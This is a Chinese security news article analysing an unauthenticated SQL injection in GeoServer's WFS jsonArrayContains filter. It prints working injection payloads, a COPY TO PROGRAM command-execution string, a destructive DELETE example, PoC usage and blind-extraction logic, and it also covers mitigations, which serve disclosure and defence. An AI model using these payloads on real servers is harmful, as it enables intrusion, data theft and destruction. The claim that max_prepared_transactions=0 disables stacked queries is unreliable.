导语:又一个重量级0day曝光。安全研究人员”秋风”(@q1uf3ng)近日公开了GeoServer中jsonArrayContains函数的未授权SQL注入漏洞。攻击者无需任何认证,即可利用该漏洞注入恶意SQL。在数据库为PostgreSQL且拥有sa权限的情况下,可直接实现远程代码执行(RCE)。目前已公布Python PoC。
一、漏洞概述
本次披露的漏洞存在于GeoServer的WFS(Web Feature Service)接口中,具体位于jsonArrayContains函数的CQL_FILTER参数处理逻辑。
漏洞发现者”秋风”称,这是一个”0day”——意味着在官方发布前就已经被公开披露。该漏洞的特殊之处在于:
- 无需认证:攻击者无需任何凭据即可触发漏洞
- 攻击链清晰:SQL注入 → PostgreSQL RCE
- 影响面广:GeoServer是开源GIS(地理信息系统)平台,被全球众多组织和政府机构使用
二、漏洞原理
2.1 根本原因
漏洞的核心问题出在GeoTools的FilterToSqlHelper.constructEquality方法。该方法在处理jsonArrayContains函数时,将expected参数的值直接写入SQL字符串,而仅对JSON pointer进行了转义:
jsonb_path_exists("data"::jsonb, '$ ? (@.a == "<VALUE>")')
其中就是expected参数的值。如果攻击者在中插入单引号,即可突破字符串字面量的限制:
<VALUE> = x') AND (SELECT * FROM (SELECT pg_sleep(4)) a) IS NOT NULL --
最终拼接出的恶意SQL:
jsonb_path_exists("data"::jsonb, '$ ? (@.a == "x') AND (SELECT * FROM (SELECT pg_sleep(4)) a) IS NOT NULL -- ")')
单引号提前关闭了字符串字面量,后面的SQL代码得以执行。
2.2 请求示例
正常的WFS GetFeature请求:
http://target:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=jsonArrayContains("data",'/a','value')=true
恶意构造的注入请求,通过CQL_FILTER参数注入SQL:
CQL_FILTER=jsonArrayContains("data",'/a','x'); SELECT pg_sleep(4) -- ')=true
2.3 影响条件
该漏洞的利用取决于后端数据库类型和权限配置:
| 数据库 | 利用条件 | 后果 |
|---|---|---|
| PostgreSQL(sa权限) | 启用堆叠查询(stacked queries) | 直接RCE,通过COPY TO PROGRAM执行系统命令 |
| PostgreSQL(普通用户) | 启用堆叠查询 | SQL注入(blind),可执行任意SQL |
| PostgreSQL(任意用户) | 禁用预编译语句 | 盲注数据提取(时间ベース),无需sa权限 |
| 其他数据库 | 未测试 | 可能存在注入但无法RCE |
三、PoC分析
安全研究人员portbuster1337根据”秋风”公布的漏洞信息,开发了完整的Python PoC脚本,支持三种攻击模式。
3.1 工具参数说明
python3 jsonarraycontains_rce.py -i <目标IP> -p <端口> [选项]
必选参数(三选一):
-c CMD OS命令RCE(需要sa权限 + pg_execute_server_program)
-s "SQL" 执行任意SQL(blind,需要堆叠查询)
-x [TABLE] 盲注提取数据(即使禁用预编译语句也能用,无需sa权限)
可选参数:
-t TYPENAME WFS图层类型名(默认:vulhub:example)
-r PROPERTY json/jsonb列名(默认:data)
-l LIMIT -x模式最多提取行数(默认:3)
3.2 模式一:命令执行(RCE)
当PostgreSQL具有sa权限且启用堆叠查询时,可直接执行系统命令:
python3 jsonarraycontains_rce.py -i 192.168.1.100 -p 8080 -c "id > /tmp/o.txt"
注入的SQL:
inject = "x') ; COPY (SELECT 1) TO PROGRAM 'id > /tmp/o.txt' -- "
3.3 模式二:SQL注入(blind)
执行任意SQL语句(INSERT/UPDATE/DELETE/DROP等):
python3 jsonarraycontains_rce.py -i 192.168.1.100 -p 8080 -s "DELETE FROM admin"
3.4 模式三:盲注数据提取
即使禁用预编译语句,仍然可以通过时间延迟进行数据提取:
# 提取数据库名和所有表名
python3 jsonarraycontains_rce.py -i 192.168.1.100 -p 8080 -x
# 提取指定表的列名和数据
python3 jsonarraycontains_rce.py -i 192.168.1.100 -p 8080 -x users -l 10
盲注原理:利用pg_sleep()结合二分查找,逐一猜测字符。
# 时间延迟验证条件是否为真
inject = "x') AND (SELECT * FROM (SELECT pg_sleep(CASE WHEN <条件> THEN 4 ELSE 0 END)) a) IS NOT NULL -- "
# 二分查找字符
cond = "ascii(substr((<表达式>),%d,1)) > %d" % (pos, mid)
3.5 核心代码片段
def build_cql(prop, inject):
# 仅对属性名转义,expected值直接拼接——漏洞根源
return 'jsonArrayContains("%s", '/a', '%s') = true' % (prop, cql_quote(inject))
def build_url(host, port, typename, cql):
params = {
"service": "wfs",
"version": "1.0.0",
"request": "GetFeature",
"typeName": typename,
"CQL_FILTER": cql,
}
return "http://%s:%s/geoserver/ows?%s" % (host, port, urllib.parse.urlencode(params))
四、漏洞时间线
| 时间 | 事件 |
|---|---|
| 2026-08-12 | 安全研究人员”秋风”在Twitter上公开披露该0day |
| 2026-08-12 | portbuster1337根据漏洞原理发布Python PoC |
| 2026-08-13 | 安全社区开始广泛讨论和验证 |
| 截至发稿 | GeoServer官方尚未发布官方安全公告和修复补丁 |
五、影响范围
GeoServer是开源GIS服务器,被广泛应用于:
- 政府地理信息系统
- 智慧城市平台
- 土地利用规划系统
- 自然资源管理
- 军事/国防地理信息
截至目前,GeoServer官方尚未发布该漏洞的CVE编号和修复版本。考虑到该漏洞已被公开披露且PoC已发布,预计官方将在近期发布安全公告。
六、修复与缓解
官方修复:等待GeoServer官方发布安全更新,建议关注官方安全公告。
临时缓解措施:
- 网络层隔离:限制GeoServer的公网暴露,仅允许受信任的IP访问
- WFS接口限制:在Web应用防火墙(WAF)或API网关上对
CQL_FILTER参数进行严格过滤 - 数据库权限最小化:避免将PostgreSQL配置为sa权限运行GeoServer数据存储
- 禁用堆叠查询:在PostgreSQL中设置
max_prepared_transactions=0,但这可能影响应用功能 - 日志监控:重点关注包含单引号和SQL关键字的异常WFS请求
检测建议:
# 检查GeoServer版本
curl http://target:8080/geoserver/rest/about/version.json
# 检查WFS接口是否可访问
curl "http://target:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetCapabilities"
七、总结
本次”秋风”公开的GeoServer jsonArrayContains SQL注入0day,再次提醒我们:
- CQL_FILTER不可信:用户输入的CQL_FILTER参数必须经过严格的输入验证
- 参数化查询的盲区:即使使用了参数化查询,如果参数直接拼接到字符串字面量中(如JSON path),仍可能产生注入
- 数据库权限最小化:避免以sa权限运行应用数据库,将权限控制在最低需求
该漏洞的PoC已公开,建议使用GeoServer的组织尽快评估风险并采取缓解措施,同时密切关注官方安全更新。
版权声明:本文由华盟网原创发布,保留所有权利。














暂无评论内容